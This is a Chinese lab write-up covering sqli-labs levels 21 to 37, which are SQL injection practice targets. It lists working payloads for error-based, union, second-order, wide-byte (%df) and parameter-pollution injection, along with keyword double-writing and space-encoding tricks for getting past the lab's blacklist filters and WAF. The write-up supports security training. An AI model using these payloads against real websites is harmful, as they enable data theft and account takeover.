sqli-labs靶场实录(二): Advanced Injections
sqli-labs靶场实录: Advanced Injections
- Less21
- Less22
- Less23
- 探测注入点
- Less24
- Less25
- 联合注入
- 使用符号替代
- Less25a
- Less26
- 逻辑符号绕过and/or过滤
- 双写and/or绕过
- Less26a
- Less27
- Less27a
- Less28
- Less28a
- Less29
- Less30
- Less31
- Less32(宽字节注入)
- Less33
- Less34
- Less35
- Less36
- Less37
- 免责声明:
Less21
先登录看看
在这可以看到这一关和第20关几乎一样
都是在页面回显了Cookie
故还是HTTP头注入
仔细观察可以发现
这里面Cookie的Uname参数不再是admin
但是这个形式很像Base64编码的格式
猜测网站对uname参数进行了Base64编码
我们通过编码工具尝试破译
确实基于Base64解码得到了原本的值admin

因此
在Cookie测试注入时我们需要将payload使用Base64编码一下
Payload如下
构造:')and updatexml(1,concat(1,database()),1)#
编码后得到
JylhbmQgdXBkYXRleG1sKDEsY29uY2F0KDEsZGF0YWJhc2UoKSksMSkj
使用这串payload抓包改包测试一下
成功爆出库名

Less22
本关和上一关略有不同
上一关使用的Payload需要闭合的是单引号
这一关则需要闭合双引号
其他的Base64编码测试思路不变
构造" and updatexml(1,concat(1,database()),1)#
编码payload
IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDEsZGF0YWJhc2UoKSksMSkj
抓包改包注入爆库

Less23
这一关又回到原始的URL传参了

故我们使用之前的测试手法
探测注入点
构造?id='测试
数据库报错
说明存在注入

尝试闭合
构造?id='--+
发现闭合不了
查看一下源码
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
留意到网站对注释符号--和#进行了过滤
故我们要使用' or '1'='1手动的闭合原查询语句后的单引号
原查询语句为
SELECT * FROM users WHERE id='$input' LIMIT 0,1;
构造1' or '1'='1后
查询语句为
SELECT * FROM users WHERE id='1' or '1'='1' LIMIT 0,1;
基于此我们构造id=-1' union select 1,database(),3 or '1' = '1
成功注入爆库

Less24
二次注入原理
用户输入被存储到数据库(如注册、留言等),后续操作(如修改密码)中从数据库读取该数据并拼接成SQL语句,导致注入。
例如:注册时插入恶意用户名
payload,修改密码时触发对应用户名的SQL逻辑。
这一关我们看到多出了许多功能点
有忘记密码,新用户注册,用户登录

而我们登录一个正常账户进去后发现还有个修改密码的功能

因为修改密码
用户注册等功能均涉及sql数据库的更新
故先猜测这里能不能利用注册用户名这个功能点去二次注入修改他人的密码
先注册一个正常的用户看看
此时账户密码为:test01/123
查看源码可知
后端修改密码时涉及的sql语句如下:
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
故在注册时构造恶意输入test01'#/666
然后登录进去修改密码

这里返回登录页面
可以看到之前test01/123账户的密码已经被修改不可用了

使用刚刚通过注入修改的test01/666登录才可以
Less25
这一关网站贴脸开大
明摆着告诉我们输入 OR 或 AND 时会被过滤替换为空
故使用报错注入的方话会遇到困难
则我们可以尝试如下的方法
联合注入
构造
?id=-1' union select 1,database(),version()--+
成功爆库

使用符号替代
既然or和and被过滤
我们可以使用对应的逻辑符号||和&&绕过
构造1'|| updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+
成功爆库

Less25a
这一关和上一关的区别在于不需要使用单引号闭合了
故构造payload
-1 union select 1,database(),version()--+
爆库成功
Less26
这一关可以看到
网站对空格和注释符等符号都进行了统一过滤

查看源码可知确有其事
function blacklist($id)
{$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id); //strip out /*$id= preg_replace('/[--]/',"", $id); //Strip out --$id= preg_replace('/[#]/',"", $id); //Strip out #$id= preg_replace('/[\s]/',"", $id); //Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashesreturn $id;
}
基于此我们使用如下方法进行注入
逻辑符号绕过and/or过滤
由于注释符号被过滤
我们需要使用or '1'='1手动闭合单引号
构造?id=1'||updatexml(1,concat(0x7e,(database()),0x7e),1)||'1'='1
成功爆库
双写and/or绕过
构造?id=1' aandnd(updatexml(1,concat(0x7e,(select(database())),0x7e),1)) aandnd '1'='1
成功爆库

Less26a
这个一关和上一个的区别在于这里需要闭合的符号为')
那么这一关就用不了报错注入了
我们尝试联合注入
基于网站对空格过滤的规则
我们采用%a0编码空格进行绕过
构造0')%a0union%a0select%a01,database(),2||('1
成功爆库

Less27
这一关我们可以看到网站对Union和Select符号进行了过滤
意图阻止我们使用联合注入进行测试
查看一下源码
发现还有如下的字符被过滤了
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
故基于此我们可以使用报错注入构造如下payload
1'and%a0updatexml(1,concat(1,(select%a0database())),1)and'
也可以使用联合注入搭配大小写混合的方法
构造0%27%20%0a%20UniON%20%0aSELEct%0a1,database(),3%0a%20and%20%271%27=%271
可以看到都能成功爆库


Less27a
这一关和上一关的区别在于闭合符号不同
本关需要使用双引号"进行闭合
故构造0%22%20%0A%20UniON%20%0ASELEct%0A1%2Cdatabase%28%29%2C3%0A%20and%20%221%22%3D%221
成功爆库

Less28
源码如下
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
本关卡审计源码可知
网站使用正则过滤了常用的注释符号和union+select的组合
并且sql查询语句如下
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
判断这里的闭合方式是')的组合
又因为注释符不可用
故利用('1')=('1进行手动闭合
保持源语句的完整性
接下来针对对正则过滤和空格过滤的规则
我们可以进行双写union和select绕过和编码空格绕过
最后我们可以构造如下payload
?id=0')uniunion%0Aselecton%0Aselect%0A1,database(),version()%0Aand%0A('1')=('1
成功爆库

Less28a
本关只正则过滤了union+select组合
相较上一关难度降低了
故构造相同payload即可爆库
?id=0')uniunion%0Aselecton%0Aselect%0A1,database(),version()%0Aand%0A('1')=('1

Less29
本关看样子存在防火墙
那么我们尝试可进行绕过
审计源码可知
本关卡前端存在
WAF(Web应用防火墙)
后端采用双服务器架构(Apache+Tomcat)
这种架构可能导致参数解析差异
可利用HTTP参数污染(HPP)绕过WAF检测
也就是我们可以传入两个参数 一个是正常参数用于欺骗防火墙 一个是恶意参数用于进行注入
故判断闭合方式为'单引号闭合后
构造?id=1&id=0' union select 1,database(),3--+
爆库成功

Less30
这一关仅在闭合方式上区别上一关
其采用双引号"闭合
故沿用上一关参数污染的方式修改payload为?id=1&id=0" union select 1,database(),3--+
成功爆库

Less31
本关继续沿用参数污染的手法
根据闭合符号为")修改payload为?id=1&id=0") union select 1,database(),3--+
成功爆库

Less32(宽字节注入)
这一关我们在进行常规测试时发现
网站对我们的单引号进行了转义处理

可以看到通过反斜杠\让单引号失去本身的语义功能
故我们想要注入的话
就必须除掉这个\
由于数据库采用的GBK编码
我们可以使用宽字节注入
在参数传递处加上%df绑定这个\后
得到了一个宽字符運
从而使得单引号成功逃逸
基于此我们构造?id=-1%df' union select 1,2,database()--+
成功爆库

Less33
本关使用上一关的payload即可成功注入
单纯传参方式不一样
?id=-1%df' union select 1,2,database()--+
成功爆库

Less34
这一关使用登录框通过post传参
但是仍旧可以使用宽字节注入
bp抓包对Username参数进行注入即可
构造-1%df' union select 1,database()#

成功注入出库名
Less35
这一关使用基础的联合注入即可爆出库名
构造?id=-1 union select 1,2,database()--+
成功爆库

Less36
这一关过滤字符的函数换成了mysql_real_escape_string
但是沿用32关的payload采用宽字节注入即可绕过
构造?id=-1%df' union select 1,2,database()--+

成功爆库
Less37
这一关和34关测试手法和payload完全一致
抓包在Username参数注入即可
构造-1%df' union select 1,database()#

成功爆库
免责声明:
本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。
相关文章:
sqli-labs靶场实录(二): Advanced Injections
sqli-labs靶场实录: Advanced Injections Less21Less22Less23探测注入点 Less24Less25联合注入使用符号替代 Less25aLess26逻辑符号绕过and/or过滤双写and/or绕过 Less26aLess27Less27aLess28Less28aLess29Less30Less31Less32(宽字节注入)Less33Less34Le…...
Linux系统 环境变量
环境变量 写在前面概念查看环境变量main函数的参数argc & argvenv bash环境变量 写在前面 对于环境变量,本篇主要介绍基本概念及三四个环境变量 —— PATH、HOME、PWD。其中 PATH 作为 “ 敲门砖 ”,我们会更详细讲解;理解环境变量的全局…...
机器学习-线性回归(最大似然估计)
机器学习任务可以分为两类: 一类是样本的特征向量 𝒙 和标签 𝑦 之间存在未知的函数关系𝑦 h(𝒙),另一类是条件概率𝑝(𝑦|𝒙)服从某个未知分布。最小二乘法是属于第一类,…...
【信息系统项目管理师-案例真题】2017上半年案例分析答案和详解
更多内容请见: 备考信息系统项目管理师-专栏介绍和目录 文章目录 试题一【问题1】8 分【问题2】4 分【问题3】8 分【问题4】5 分试题二【问题1】10 分【问题2】8 分【问题3】6 分【问题4】5 分试题三【问题1】5 分【问题2】7 分【问题3】6 分【问题4】3 分试题一 阅读下列说明…...
CSP晋级组比赛生成文件夹与文件通用代码Python
快速生成文件夹与文件的脚本 import sys import osmyfiles sys.argv[1::] for f in myfiles:os.mkdir(f)os.system(f"touch {f}/{f}.in")os.system(f"touch {f}/{f}.out")os.system(f"touch {f}/{f}.cpp")with open("template.cpp",…...
正则表达式进阶(二)——零宽断言详解:\b \B \K \z \A
在正则表达式中,零宽断言是一种非常强大的工具,能够在不消费字符的情况下对匹配位置进行约束。除了环视(lookahead 和 lookbehind)以外,还有一些常用的零宽断言,它们用于处理边界、字符串的开头和结尾等特殊…...
Android 中实现 PDF 预览三种方式
目录 1. 使用第三方库 PdfRenderer(适用于 Android 5.0 及以上) 步骤:2. 使用第三方库 MuPDF步骤:3. 使用第三方库 PdfiumAndroid步骤: 1. 使用第三方库 PdfRenderer(适用于 Android 5.0 及以上)…...
尚硅谷课程【笔记】——大数据之Zookeeper【二】
课程视频:【尚硅谷Zookeeper教程】 四、Zookeeper实战 4.1分布式安装部署 1. 集群规划 在Hadoop102、Hadoop103和Hadoop104三个节点上部署Zookeeper 2. 解压安装 1)解压Zookeeper.tar.gz到指定目录 tar -zxvf zookeeper-3.7.2.tar.gz -C /opt/mod…...
CodeGPT + IDEA + DeepSeek,在IDEA中引入DeepSeek实现AI智能开发
CodeGPT IDEA DeepSeek,在IDEA中引入DeepSeek 版本说明 建议和我使用相同版本,实测2022版IDEA无法获取到CodeGPT最新版插件。(在IDEA自带插件市场中搜不到,可以去官网搜索最新版本) ToolsVersionIntelliJ IDEA202…...
postgresql 游标(cursor)的使用
概述 PostgreSQL游标可以封装查询并对其中每一行记录进行单独处理。当我们想对大量结果集进行分批处理时可以使用游标,因为一次性处理可能造成内存溢出。 另外我们可以定义函数返回游标类型变量,这是函数返回大数据集的有效方式,函数调用者…...
计算机组成原理——指令系统(六)
在时间的长河中,我们都是追梦人,脚下的每一步都在刻画未来的模样。无论世界如何变幻,心中的那团火焰都不应熄灭。它是你突破黑暗、迎接黎明的力量源泉。每一个不曾起舞的日子,都是对生命的辜负;每一次跌倒后的站起&…...
Python设计模式 - 原型模式
定义 原型模式是一种创建型设计模式,它可以通过复制现有对象来创建新对象,而不是直接实例化新的对象。 结构 抽象原型(Prototype):声明 clone() 方法,以便派生类实现克隆自身的能力。具体原型(…...
金和OA C6 DownLoadBgImage任意文件读取漏洞
金和OA C6 DownLoadBgImage任意文件读取漏洞 漏洞描述 金和C6数据库是一款针对企业信息化管理而设计的高级数据库管理系统,主要应用于企业资源规划(ERP)、客户关系管理(CRM)以及办公自动化(OA)…...
【stm32学习】STM32F103实操primary(FlyMCU)
github插入图片实在是太难用了,暂时懒得学就先用CSDN吧hh 一、在设备管理器下,找到单片机,并检查与FlyMCU-搜索端口 显示的是否一致 二、在搜索串口右面的栏里选中该Port,波特率选中115200 三、选择文件夹中的.hex文件࿰…...
如何将Excel的表格存为图片?
emmm,不知道题主具体的应用场景是什么,就分享几个我一般会用到的场景下奖excel表格保存为图片的技巧吧! 先来个总结: 方法 适用场景 画质 操作难度 截图(WinShiftS) 快速保存表格,方便粘贴…...
51单片机之使用Keil uVision5创建工程以及使用stc-isp进行程序烧录步骤
一、Keil uVision5创建工程步骤 1.点击项目,新建 2.新建目录 3.选择目标机器,直接搜索at89c52选择,然后点击OK 4.是否添加起吊文件,一般选择否 5.再新建的项目工程中添加文件 6.选择C文件 7.在C文件中右键,添加…...
AUTOSAR面试题集锦(1)
最基础概念 什么是AUTOSAR?AUTOSAR到底做了什么? AUTOSAR,即汽车开放系统架构,是一套专门用于汽车的开放性的框架和行业标准,旨在标准化汽车开发的流程。 AUTOSAR 通过标准化软件接口、交换格式和方法论等内容,主要实现以下几个目标: 1. 使软件和硬件彼此独立,让应…...
【Uniapp-Vue3】从uniCloud中获取数据
需要先获取数据库对象: let db uniCloud.database(); 获取数据库中数据的方法: db.collection("数据表名称").get(); 所以就可以得到下面的这个模板: let 函数名 async () > { let res await db.collection("数据表名称…...
AIOS: 一个大模型驱动的Multi-Agent操作系统设计与Code分析
AIOS: 一个大模型驱动的Multi-Agent操作系统设计与Code分析 随着人工智能技术的快速发展,传统操作系统逐渐暴露出难以适应AI时代多样化需求的局限性。特别是在支持多个智能体协同工作方面存在显著不足。为此,我们提出了一种名为AIOS(Artifici…...
Python----Python高级(网络编程:网络基础:发展历程,IP地址,MAC地址,域名,端口,子网掩码,网关,URL,DHCP,交换机)
一、网络 早期的计算机程序都是在本机上运行的,数据存储和处理都在同一台机器上完成。随着技术的发展,人 们开始有了让计算机之间相互通信的需求。例如安装在个人计算机上的计算器或记事本应用,其运行环 境仅限于个人计算机内部。这种设置虽然…...
51c自动驾驶~合集58
我自己的原文哦~ https://blog.51cto.com/whaosoft/13967107 #CCA-Attention 全局池化局部保留,CCA-Attention为LLM长文本建模带来突破性进展 琶洲实验室、华南理工大学联合推出关键上下文感知注意力机制(CCA-Attention),…...
MFC内存泄露
1、泄露代码示例 void X::SetApplicationBtn() {CMFCRibbonApplicationButton* pBtn GetApplicationButton();// 获取 Ribbon Bar 指针// 创建自定义按钮CCustomRibbonAppButton* pCustomButton new CCustomRibbonAppButton();pCustomButton->SetImage(IDB_BITMAP_Jdp26)…...
pam_env.so模块配置解析
在PAM(Pluggable Authentication Modules)配置中, /etc/pam.d/su 文件相关配置含义如下: 配置解析 auth required pam_env.so1. 字段分解 字段值说明模块类型auth认证类模块,负责验证用户身份&am…...
ElasticSearch搜索引擎之倒排索引及其底层算法
文章目录 一、搜索引擎1、什么是搜索引擎?2、搜索引擎的分类3、常用的搜索引擎4、搜索引擎的特点二、倒排索引1、简介2、为什么倒排索引不用B+树1.创建时间长,文件大。2.其次,树深,IO次数可怕。3.索引可能会失效。4.精准度差。三. 倒排索引四、算法1、Term Index的算法2、 …...
实现弹窗随键盘上移居中
实现弹窗随键盘上移的核心思路 在Android中,可以通过监听键盘的显示和隐藏事件,动态调整弹窗的位置。关键点在于获取键盘高度,并计算剩余屏幕空间以重新定位弹窗。 // 在Activity或Fragment中设置键盘监听 val rootView findViewById<V…...
学习STC51单片机32(芯片为STC89C52RCRC)OLED显示屏2
每日一言 今天的每一份坚持,都是在为未来积攒底气。 案例:OLED显示一个A 这边观察到一个点,怎么雪花了就是都是乱七八糟的占满了屏幕。。 解释 : 如果代码里信号切换太快(比如 SDA 刚变,SCL 立刻变&#…...
Android第十三次面试总结(四大 组件基础)
Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成,用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机: onCreate() 调用时机:Activity 首次创建时调用。…...
LabVIEW双光子成像系统技术
双光子成像技术的核心特性 双光子成像通过双低能量光子协同激发机制,展现出显著的技术优势: 深层组织穿透能力:适用于活体组织深度成像 高分辨率观测性能:满足微观结构的精细研究需求 低光毒性特点:减少对样本的损伤…...
【Linux系统】Linux环境变量:系统配置的隐形指挥官
。# Linux系列 文章目录 前言一、环境变量的概念二、常见的环境变量三、环境变量特点及其相关指令3.1 环境变量的全局性3.2、环境变量的生命周期 四、环境变量的组织方式五、C语言对环境变量的操作5.1 设置环境变量:setenv5.2 删除环境变量:unsetenv5.3 遍历所有环境…...
系统掌握PyTorch:图解张量、Autograd、DataLoader、nn.Module与实战模型
本文较长,建议点赞收藏,以免遗失。更多AI大模型应用开发学习视频及资料,尽在聚客AI学院。 本文通过代码驱动的方式,系统讲解PyTorch核心概念和实战技巧,涵盖张量操作、自动微分、数据加载、模型构建和训练全流程&#…...
